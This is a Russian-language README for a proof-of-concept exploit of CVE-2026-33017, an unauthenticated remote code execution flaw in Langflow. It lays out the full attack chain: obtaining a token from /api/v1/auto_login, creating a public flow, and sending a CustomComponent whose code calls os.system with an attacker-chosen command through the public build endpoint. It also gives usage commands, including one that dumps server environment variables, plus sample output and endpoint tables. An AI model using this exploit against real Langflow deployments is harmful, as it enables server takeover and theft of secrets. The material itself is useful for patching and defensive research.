
Эксплойт доказательства концепции для CVE-2026-33017, демонстрирующий неаутентифицированное удаленное выполнение кода в Langflow через внедрение вредоносного CustomComponent через общедоступные конечные точки сборки.
CVE ID: CVE-2026-33017
Затронутое ПО: Langflow
Уязвимые версии: <= 1.8.2
Исправленная версия: >= 1.9.0
Серьёзность: Критическая
Автор: r3nsi15
Дата: 2026
Langflow предоставляет публичную конечную точку сборки потока (/api/v1/build_public_tmp/{flowID}/flow),
которая принимает произвольные блоки кода CustomComponent и выполняет их на стороне сервера без аутентификации.
Внедряя вредоносную полезную нагрузку Python в поле code узла CustomComponent, неавторизованный
злоумышленник может выполнять произвольные команды операционной системы с привилегиями процесса сервера Langflow.
Цепочка атаки сначала злоупотребляет конечной точкой /api/v1/auto_login, которая выдаёт токен носителя без
требования учётных данных, когда Langflow работает в конфигурации автоматического входа по умолчанию. Затем
использует этот токен для создания временного публичного потока и запускает выполнение кода на стороне сервера через конечную точку сборки.
Файл: CVE-2026-33017_POC.py
requestspip install requests
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]
Проверка выполнения кода:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"
Получение переменных окружения сервера:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"
Оставить поток активным после эксплуатации (пропустить очистку):
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!
Эксплойт внедряет следующий фрагмент Python в поле code узла CustomComponent:
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
display_name = "ExploitComponent"
outputs = [Output(display_name="Result", name="output", method="run")]
def run(self):
return "ok"
__import__('os').system(...) — динамически импортирует модуль os и выполняет команду оболочки, предоставленную злоумышленником, на сервере.CustomComponent, необходимый для удовлетворения загрузчика компонентов Langflow без возникновения ошибки разбора.PUBLIC, и конечная точка сборки вызывается на его публичном эндпоинте, поэтому для запуска выполнения не требуется ни cookie сессии, ни токен аутентификации.Система CustomComponent в Langflow позволяет отправлять произвольный код Python как часть определения потока.
Конечная точка /api/v1/build_public_tmp/{flowID}/flow собирает и частично выполняет этот код на стороне сервера, включая операторы на уровне модуля, без изоляции или ограничения доступа к встроенным функциям Python, таким как __import__.
1. GET /api/v1/auto_login → Получить токен Bearer (учётные данные не требуются)
2. POST /api/v1/flows/ → Создать PUBLIC поток (токен Bearer)
3. POST /api/v1/build_public_tmp/ → Внедрить и выполнить вредоносный CustomComponent (без аутентификации)
4. DELETE /api/v1/flows/{id} → Очистить (опционально)
Все четыре шага могут быть выполнены анонимным злоумышленником на развёртывании Langflow по умолчанию.
LANGFLOW_AUTO_LOGIN=false) в любом развёртывании, доступном из интернета.Эта программа для концептуальной проверки предоставлена только для образовательных целей и авторизованных исследований безопасности. Использование этого скрипта против систем без явного письменного разрешения является незаконным и неэтичным. Автор и участники не несут ответственности за неправомерное использование.
| Конечная точка | Метод | Требуется аутентификация | Назначение |
|---|
/api/v1/auto_login | GET | Нет | Получение токена носителя (авто-вход должен быть включён) |
/api/v1/flows/ | POST | Да (Bearer) | Создание нового потока |
/api/v1/build_public_tmp/{flowID}/flow | POST | Нет (публичный) | Запуск сборки — уязвимая точка выполнения |
/api/v1/flows/{flowID} | DELETE | Да (Bearer) | Очистка созданного потока |
| Флаг | Длинная форма | Обязательный | Описание |
|---|
-u | --url | Да | Базовый URL экземпляра Langflow |
-c | --command | Да | Команда ОС для выполнения на сервере |
-d | --delete | Нет | Удалить созданный поток после эксплуатации |